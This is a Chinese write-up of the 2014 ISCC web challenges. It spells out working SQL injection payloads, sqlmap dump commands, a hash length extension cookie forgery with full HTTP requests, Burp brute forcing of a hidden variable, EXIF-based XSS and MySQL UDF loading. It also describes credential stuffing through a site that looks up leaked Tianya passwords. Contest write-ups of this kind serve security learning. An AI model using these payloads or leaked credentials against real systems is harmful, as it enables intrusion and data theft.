2014 iscc web writeup

admin 2022年5月17日12:09:23评论37 views字数 11539阅读38分27秒阅读模式

0×00
iscc的比赛 持续了一个半月 做了一些 就写写writeup 比赛也结束了 有的题目还是很不错的 我还作死的接触了一些逆向 pwn的题目 这个是web部分的writeup http://www.iscc.org.cn

0×01 彩蛋
比赛开始之前在 http://www.iscc.org.cn index.php页面里的注释里 有一枚彩蛋

0110100001110100011101000111000000111010
0010111100101111011101110111011101110111
0010111001101001011100110110001101100011
0010111001101111011100100110011100101110
0110001101101110001011110011010000110110
0011000100110000001101100011001100110010
0110001000110100011000100011000100110010
0011001100111000001110010011001100110011
0110010100111001001110010110001001100110
0011100001100101011000100011000100110111
0011100101100100011001100110001001100001
0010111001101010011100000110011100000000

神器JPK一上 然后就是很简单的解一下 8位一个ascii码
2014 iscc web writeup
http://www.iscc.org.cn/4610632b4b1238933e99bf8eb179dfba.jpg
就是个彩蛋 练练手

0×02 霸业蓝图exif
web1的是个linux逆向的 我就放到另外的一个逆向的writeup里
http://www.iscc.org.cn/challenges/2014/web/web02/
web02是这样子的
2014 iscc web writeup

http://www.ty-ing.org/script/2/

2014 iscc web writeup
随便上传一张图片上去看看
2014 iscc web writeup
发现了有显示出了exif的信息
然后就去百度看看 会有什么漏洞 然后在wooyun上看到了这个
DiscuzX2个人空间图片EXIF信息XSS
然后就和这个题目的描述一对比 很相似 很可能就是需要我们去做xss 修改exif的信息成xss的payload 可以用一些工具去实现 网上搜搜 一大堆 我用的是powerexif
2014 iscc web writeup
这里是一个我改好了的jpg图片
2014 iscc web writeup
然后浏览 submit就可以出key了 就一步 比较简单
2014 iscc web writeup
19ojep03

0×03 君臣论证sqli
http://www.iscc.org.cn/challenges/2014/web/web03/
2014 iscc web writeup

http://www.ty-ing.org/script/3/

提交提交试试看
2014 iscc web writeup
发现是有一个数据库查询的 然后返回信息 判断是有sql注入
然后就是自己慢慢测试 注入点在哪
month 那个是有注入的 可以构造语句 在balance为2的时候才会产生注入
2014 iscc web writeup
然后就是测测看是什么 php一般是+mysql
发现也确实是 然后后面的就顺理成章的东西咯
order by 发现是4 然后就用union select返回表名啊 列名啊 数据之类的

#查询库名
1 union select group_concat(SCHEMA_NAME),NULL,NULL,NULL from information_schema.SCHEMATA
#查询script的表名
1 union select group_concat(table_name),NULL,NULL,NULL from information_schema.tables where table_schema=0x736372697074
#回显了这三个 people,report,xiaoming
#查询xiaoming的列名
1 union select group_concat(column_name),NULL,NULL,NULL from information_schema.columns where table_schema=0x736372697074
#发现回显了secret
1 union select secret,NULL,NULL,NULL from xiaoming

2014 iscc web writeup
9xme0siv2

0×04 火眼金睛 社工出奇迹
http://www.iscc.org.cn/challenges/2014/web/web04/
2014 iscc web writeup

http://script.iscc.org.cn/web01_853d9ed229ab47b5878c456d2d861dad/index.html

2014 iscc web writeup
仔细的看看题目描述 就看到了TianYa 这不是天涯啊 然后就看到给了一个用户名VeryCD永垂不朽 需要我们去找秘密
后来的提示更明显了 说要在站内做题 不要去影响到本人什么的 貌似说是 那个VeryCD找到了iscc说了一下 更加的此地无银三百两
登陆框那里尝试了一下注入 没成功 就去研究题目描述 说到了天涯 很自然会想到天涯以前被拖过库 这会不会是要我们去撞库
这里是个天涯裤子的在线查询
http://www.594sgk.com/
2014 iscc web writeup
之前还可以查询得到的 貌似被媒体一曝光 这个库也要账号了 简直无情啊

[email protected]
gnikni[512312

http://script.iscc.org.cn/web01_853d9ed229ab47b5878c456d2d861dad/login.html登陆上去
2014 iscc web writeup
能看到一张图片
ab8c3844185c16b72db72baed7750783.jpg
2014 iscc web writeup
右键记事本 这里有一段php的代码
2014 iscc web writeup

$auth = false;
if (isset($_COOKIE["auth"])) {
   $auth = unserialize($_COOKIE["auth"]);
   $hsh = $_COOKIE["hsh"];
   if ($hsh !== md5($SECRET . strrev($_COOKIE["auth"]))) {    //$SECRET is a 8-bit salt
     $auth = false;
   }
}
else {
  $auth = false;
  $s = serialize($auth);
  setcookie("auth", $s);
  setcookie("hsh", md5($SECRET . strrev($s)));
}

是这个页面的一部分代码 白盒审计一下
http://script.iscc.org.cn/web01_853d9ed229ab47b5878c456d2d861dad/admin.php
后来发现题出重了 和2014 pctf web150的题目的一样的 就去找找前人的writeup
找到了冷夜牛的一篇
http://le4f.net/post/writeup/-ctf-plaidctf-2014-twenty_mtpox_doge_stege-writeup
哈希长度扩展攻击相关资料
http://www.freebuf.com/articles/web/31756.html
https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks
就用这个方法去搞搞这个
2014 iscc web writeup
访问这个页面 可以得到2个cookie 然后去linux下用hash_extender
一开始我安装失败了 原来是少安装了一个库

sudo apt-get install libssl-dev

访问页面会返回一个cookie 就是要对这个cookie进行扩展

Cookie: auth=b%3A0%3B; hsh=32efdc967fcaebc6853b75cacfb80c5f

2014 iscc web writeup
生成了一个

%3b0%3ab%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%60%00%00%00%00%00%00%00%3b1%3ab

然后我们去反序一下

b%3a1%3b%00%00%00%00%00%00%00%60%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%80b%3a0%3b

得到了这个 然后带上cookie和hsh
发这个包

GET /web01_853d9ed229ab47b5878c456d2d861dad/admin.php HTTP/1.1
Host: script.iscc.org.cn
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: auth=b%3a1%3b%00%00%00%00%00%00%00%60%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%80b%3a0%3b; hsh=c244187d39381794b9064a02d669275a
Connection: keep-alive

回显了这个
POST ME SOME ID!
我们post一个ID=value的格式上去
2014 iscc web writeup
然后就是尝试去注入了
字段是1 order by 2 报错
2014 iscc web writeup
判断是mysql的数据库 手工注入一下

#查询数据库版本
id=-1 union select version()
#查询数据库 发现web数据库
id=-1 union select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA 
#查询表名 发现有users表
id=-1 union select group_concat(table_name) from information_schema.tables where table_schema=0x776562

然后尝试用sqlmap来拖数据

POST /web01_853d9ed229ab47b5878c456d2d861dad/admin.php HTTP/1.1
Host: script.iscc.org.cn
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: auth=b%3a1%3b%00%00%00%00%00%00%00%60%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%80b%3a0%3b; hsh=c244187d39381794b9064a02d669275a
Connection: keep-alive
Content-Length: 4

id=1

保存成appleu0.txt

sqlmap -r 'appleu0.txt' -D web -T users --dump -p id

2014 iscc web writeup

[email protected]
2461C83C809E8BA6

http://script.iscc.org.cn/web01_853d9ed229ab47b5878c456d2d861dad/login.html
再去登陆上去
2014 iscc web writeup
4297f44b13955235245b2497399d7a93.jpg
2014 iscc web writeup
记事本打开就能看到flag
2014 iscc web writeup
f l a g { I _ A M _ A _ V E R Y _ S M A R T _ A D M I N _ L O L } 去掉空格
flag{I_AM_A_VERY_SMART_ADMIN_LOL}

0×05 上古神兽 爆破
http://www.iscc.org.cn/challenges/2014/web/web05/
2014 iscc web writeup

http://script.iscc.org.cn/web05_519a5a01fb6685c1fd13f1442891d0f8/index.php

这个题目很变态 是去年的 去年一直没人做得出来 一直到今年 到最后面难度降低 还给了很多的提示才有人做出来了 所以最后题目才叫做上古神兽
http://lubao515.info/
还一直去这个大神的博客 找tips
http://lubao515.info/archives/2013/06/138.html
最后是在这里有一个tips
外部赋值的变量会覆盖内部赋值的变量 这个题目是要考察的是变量覆盖的知识
变量覆盖 就是相当于 我们做逆向时的爆破 改变某些关键寄存器啊 跳转啊 来达到自己的目的
在这个题目中的变量覆盖 目的是要我们发送流量给lubao515 可以每次都会提示流量太少了
那么我们变量覆盖的目的 就是要在那个判断我们流量大小 大于10G之后 就会给某个变量赋值为1 但是我们正常的情况下都是0
所以就要给某个黑盒变量去覆盖为1
可以使用burp爆破

POST /web05_519a5a01fb6685c1fd13f1442891d0f8/index.php?action=taketransfer&XXX=1 HTTP/1.1
Host: script.iscc.org.cn
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://script.iscc.org.cn/web05_519a5a01fb6685c1fd13f1442891d0f8/index.php
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 64

uploaded=1000&receiver=lubao515&submitbutton=%E6%8F%90+%E4%BA%A4

把XXX替换成自己的字典去爆破 一开始没注意到一个问题的时候 爆破了一下午 什么都没爆破出来
就是uploaded的值要在100到2048之间 才可以 一开始使用uploaded=1去爆破 什么都没有
自己弄个字典 大小写数字还有_之类的 62个就可以了
然后就是burp suite Intruder 这里 设置Cluster bomb 可以爆破多个自己的设置的变量
后来才发现这个坑爹的题目 这个变量居然只有一位 那么burp设置payload type为Brute forcer
2014 iscc web writeup
爆破就可以了
2014 iscc web writeup
发现了需要爆破的变量名为G
设置G=1 我们访问一次
感谢你的礼物,我现在已经有999999999MB的流量了!
发现了这个 在repeater里多测试
发现了 receiver=lubao515′ and 1=2# 这里有个注入点
感谢你的礼物,我现在已经有MB的流量了! 变成了这样子
直接把

POST /web05_519a5a01fb6685c1fd13f1442891d0f8/index.php?action=taketransfer&G=1 HTTP/1.1
Host: script.iscc.org.cn
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://script.iscc.org.cn/web05_519a5a01fb6685c1fd13f1442891d0f8/index.php
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 64

uploaded=1000&receiver=lubao515&submitbutton=%E6%8F%90+%E4%BA%A4

保存成appleu0.txt 然后去注入 找到labao515的密码 就是flag

#列数据库 发现了web05
sqlmap -r 'appleu0.txt' --dbs -p receiver
#列web05表名 发现有iscc这个表
sqlmap -r 'appleu0.txt' -D web05 --table -p receiver
#列出iscc的列名 发现有username和password
sqlmap -r 'appleu0.txt' -D web05 -T iscc --columns -p receiver
#拖出数据内容
sqlmap -r 'appleu0.txt' -D web05 -T iscc -C username,password -p receiver

2014 iscc web writeup
8froerf9pu34rjeslfh

0×06 老马识途 网络编程
http://www.iscc.org.cn/challenges/2014/web/web06/
2014 iscc web writeup

http://script2.iscc.org.cn/web07_e3a95260b7271954aa59460c134cde7e/

密码已经通过某种方式发给你了哦!不过密码的有效期只有3秒,要快哦!
说是密码已经给了我们 那么抓包看看
2014 iscc web writeup
发现了response包中有那个Password的http头 那么我们需要把他处理一下 然后往
http://script2.iscc.org.cn/web07_e3a95260b7271954aa59460c134cde7e/index.asp?action=Check
POST这个内容pwd=md5(Password)&Submit=%E6%8F%90%E4%BA%A4
限定的时间比较短 只有3秒 可以编程的实现 当然了如果你是单身很多很多年的话 可以试试看手动提交试试看 考验手速的时刻到来了
我是用的ruby写了一个 之后去尝试一下python 最近也在学 python写应该可以更快 写的时候 注意还要把cookie带上 会验证cookie和对于的psw password的

#encoding: utf-8
require 'net/http'
require 'digest/md5'

#=begin
#get方式获取password
puts 'get password'

headers = {   ##定义http请求头信息
  'Host' => 'script2.iscc.org.cn', 
  'User-Agent' => 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0',
  'Accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
  'Accept-Language' => 'zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3',
  'Accept-Encoding' => 'gzip, deflate',
  'Connection' => 'keep-alive'
}

#要访问的网页host
uri = URI.parse("http://script2.iscc.org.cn")

#创建服务器对象
res = Net::HTTP::start(uri.host){|http|
   http.get(uri.path+'/web07_e3a95260b7271954aa59460c134cde7e/index.asp', headers)
}

#返回响应头信息
res.each{|key, value| puts "#{key} = #{value}"}

res.each{|key, value| 
if key == 'set-cookie' 
  $cookie = value
elsif key == 'password'
  $password = value
end
}

puts $cookie
puts $password

#输出response的内容
#puts res.body

#=end
#处理一下cookie
$cookie = $cookie.split(';')[0]

#把password进行md5
$password = Digest::MD5.hexdigest($password).upcase

puts $cookie
puts $password


#=begin
#post方式提交md5(password)
headers = {   ##定义http请求头信息
  'Host' => 'script2.iscc.org.cn',
  'User-Agent' => 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0',
  'Accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
  'Accept-Language' => 'zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3',
  'Accept-Encoding' => 'gzip, deflate',
  'Referer' => 'http://script2.iscc.org.cn/web07_e3a95260b7271954aa59460c134cde7e/index.asp',
  'Cookie' => $cookie,
  'Connection' => 'keep-alive',
  'Content-Type' => 'application/x-www-form-urlencoded'
}

#要访问的域名
uri = URI.parse("http://script2.iscc.org.cn")

#创建服务器对象
res = Net::HTTP::start(uri.host){|http|
   http.post(uri.path+'/web07_e3a95260b7271954aa59460c134cde7e/index.asp?action=Check', 
   'pwd='+$password+'&Submit=%E6%8F%90%E4%BA%A4',
   headers)
}

#返回响应头信息
#res.each{|key, value| puts "#{key} = #{value}"}

#输出response的内容
puts res.body

#=end

2014 iscc web writeup
KEY: W3b_Pr0Gr4m1ng@_@

0×07 首次会盟 udf
http://www.iscc.org.cn/challenges/2014/web/web07/
2014 iscc web writeup
这个题是个udf的题 还是以前的题 2012年的swpu的 mayafei大哥哥出的 做做看
udf的可以在mysql中有用户自定义的函数 在实战中可以用来提权 udf提权 别的sql数据库也有类似的功能
自己可以本地弄一个mysql
有一个要注意的 MYSQL 5.1以上版本,必须要把udf.dll文件放到MYSQL安装目录下的lib\plugin文件夹下才能创建自定义函数
放到plugin之后

create function about returns string soname 'udf.dll';

然后就可以使用里面的函数了 提示说有about这个函数
我们尝试一下 select about();
2014 iscc web writeup
Use getkey function to get the key!
那么我们就 select getkey();
2014 iscc web writeup
U_Will_Use_Udf_In_Final_Challenge@2012

0×08 霸业初成 cookie注入
http://www.iscc.org.cn/challenges/2014/web/web08/
2014 iscc web writeup

http://script2.iscc.org.cn/web08_0cfd59e8aef4f69e9301b8dbd2e057b7/show.asp?id=1

是个asp的站 这里的是给了个id=1 我们去注入注入 发现直接去注入被过滤了
asp的站 可能出现的一个漏洞就是cookie注入 asp编程时 使用request(“id”) 没有限定获取参数的方式 是以get post cookie这样子的属性来获取的 因此可以使用cookie进行传参
对于cookie获取的测试没有进行过滤 这个是cookie注入产生的原因
那么有两种方法可以去做这个题 直接使用sqlmap去跑cookie注入
还有一种是使用注入中转工具去中转 然后再去注入

GET /web08_0cfd59e8aef4f69e9301b8dbd2e057b7/show.asp HTTP/1.1
Host: script2.iscc.org.cn
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: ASPSESSIONIDAQSSQBTQ=MAJJIJLDHHFCBPHDEOFOGHMD; ASPSESSIONIDASRTQATR=OGKJBBMDFBEKNIDNJAHDKFCC; id=1
Connection: keep-alive

保存成appleu0.txt

sqlmap -r 'appleu0.txt' --dbs --level=2 -p id --technique=B

貌似比较容易跑挂 略蛋疼 可以用 –delay=2这样子来延时 之后好像是在晚上人少的时候跑的 还有通过-p 指定注入的参数 –technique=B 指定为盲注

还有一种方法就是用中转注入
2014 iscc web writeup
生成一个appleu0.asp 然后放在自己的iis下面跑跑

sqlmap -u "http://127.0.0.1/appleu0.asp?id=1"

发现有了admin表 还有password列
然后就–dump出来
CaiBuDaoDeMiMa
写writeup的时候 又把web08跑挂了 真是尴尬

0×09 后记
比赛时间很长 一个半月 我也做了些逆向啊 溢出之类的 另外写一篇逆向溢出类的吧 web的难度还不算是很大 除了那种需要爆破的上古神兽 其他的技巧性的还可以 并不是特别难 但是需要多方面的能力 包括其他的逆向溢出啊 加油学 iscc re+pwn writeup

FROM :appleu0.sinaapp.com | Author:appleu0

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月17日12:09:23
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   2014 iscc web writeuphttps://cn-sec.com/archives/1012368.html

发表评论

匿名网友 填写信息